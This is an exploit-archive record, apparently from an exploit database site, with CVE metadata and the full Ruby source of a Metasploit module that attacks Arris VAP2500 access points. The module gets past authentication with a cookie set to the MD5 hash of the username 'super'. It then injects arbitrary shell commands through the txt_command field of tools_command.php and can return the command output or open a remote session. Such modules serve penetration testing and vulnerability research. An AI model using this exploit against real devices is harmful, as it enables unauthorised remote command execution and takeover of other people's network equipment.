{"exploit":{"id":"MSF-linux--http--vap2500_tools_command_exec","name":"Arris VAP2500 tools_command.php Command Execution","description":"Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username.","cves":["CVE-2014-8423","CVE-2014-8424"],"author":"HeadlessZeke","published":"2014-11-25","platform":"Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/linux/http/vap2500_tools_command_exec.rb","path":"modules/exploits/linux/http/vap2500_tools_command_exec.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"vap2500_tools_command_exec.rb","vulnerabilities":[{"id":"CVE-2014-8423","state":"PUBLISHED","title":null,"titleSource":null,"description":"Unspecified vulnerability in the management portal in ARRIS VAP2500 before FW08.41 allows remote attackers to execute arbitrary commands via unknown vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-8423","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-8423"},"updatedAt":"2024-08-06T13:18:48.318Z","retrievedAt":"2026-11-26T22:21:41.423Z","stale":false,"error":null},{"id":"CVE-2014-8424","state":"PUBLISHED","title":null,"titleSource":null,"description":"ARRIS VAP2500 before FW08.41 does not properly validate passwords, which allows remote attackers to bypass authentication.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-8424","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:N/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-8424"},"updatedAt":"2024-08-06T13:18:47.977Z","retrievedAt":"2026-11-26T22:21:47.935Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--vap2500_tools_command_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--vap2500_tools_command_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--vap2500_tools_command_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--vap2500_tools_command_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = NormalRanking\n\n  include Msf::Exploit::Remote::HttpClient\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Arris VAP2500 tools_command.php Command Execution',\n        'Description' => %q{\n          Arris VAP2500 access points are vulnerable to OS command injection in the web management\n          portal via the tools_command.php page. Though authentication is required to access this\n          page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid\n          username.\n        },\n        'Author' => [\n          'HeadlessZeke' # Vulnerability discovery and Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2014-8423'],\n          ['CVE', '2014-8424'],\n          ['OSVDB', '115045'],\n          ['OSVDB', '115046'],\n          ['BID', '71297'],\n          ['BID', '71299'],\n          ['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']\n        ],\n        'DisclosureDate' => '2014-11-25',\n        'Privileged' => true,\n        'Payload' => {\n          'DisableNops' => true,\n          'Space' => 1024,\n          'Compat' =>\n                        {\n                          'PayloadType' => 'cmd',\n                          'RequiredCmd' => 'generic telnet'\n                        }\n        },\n        'Platform' => 'unix',\n        'Arch' => ARCH_CMD,\n        'Targets' => [[ 'Automatic', {}]],\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n  end\n\n  def check\n    begin\n      res = send_request_raw({\n        'method' => 'GET',\n        'uri' => '/tools_command.php',\n        'cookie' => \"p=#{Rex::Text.md5('super')}\"\n      })\n      if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/\n        return Exploit::CheckCode::Vulnerable('The target is vulnerable')\n      end\n    rescue ::Rex::ConnectionError\n      return Exploit::CheckCode::Unknown('Could not determine the target status')\n    end\n\n    Exploit::CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def exploit\n    print_status(\"Trying to access the device ...\")\n\n    unless check == Exploit::CheckCode::Vulnerable\n      fail_with(Failure::NotVulnerable, \"#{peer} - Failed to access the vulnerable device\")\n    end\n\n    print_status(\"Exploiting...\")\n\n    if datastore['PAYLOAD'] == 'cmd/unix/generic'\n      exploit_cmd\n    else\n      exploit_session\n    end\n  end\n\n  def exploit_cmd\n    beg_boundary = rand_text_alpha(8)\n    end_boundary = rand_text_alpha(8)\n\n    begin\n      res = send_request_cgi({\n        'uri' => normalize_uri('/', 'tools_command.php'),\n        'vars_post' => {\n          'cmb_header' => '',\n          'txt_command' => \"echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}\"\n        },\n        'method' => 'POST',\n        'cookie' => \"p=#{Rex::Text.md5('super')}\"\n      })\n\n      if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/\n        print_good(\"Command sent successfully\")\n        if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m\n          print_status(\"Command output: #{$1}\")\n        end\n      else\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Command execution failed\")\n      end\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the web server\")\n    end\n  end\n\n  def exploit_session\n    begin\n      send_request_cgi({\n        'uri' => normalize_uri('/', 'tools_command.php'),\n        'vars_post' => {\n          'cmb_header' => '',\n          'txt_command' => \"#{payload.encoded}\"\n        },\n        'method' => 'POST',\n        'cookie' => \"p=#{Rex::Text.md5('super')}\"\n      }, 3)\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the web server\")\n    end\n  end\nend\n","sha256":"f5c4284522770ebac538ac64707af5dee74e80ce47d4dc8fb023ae6af337b74d","bytes":4169,"fetchedAt":"2026-11-27T13:11:23.488Z","encoding":"utf-8 (display only; download retains original bytes)"}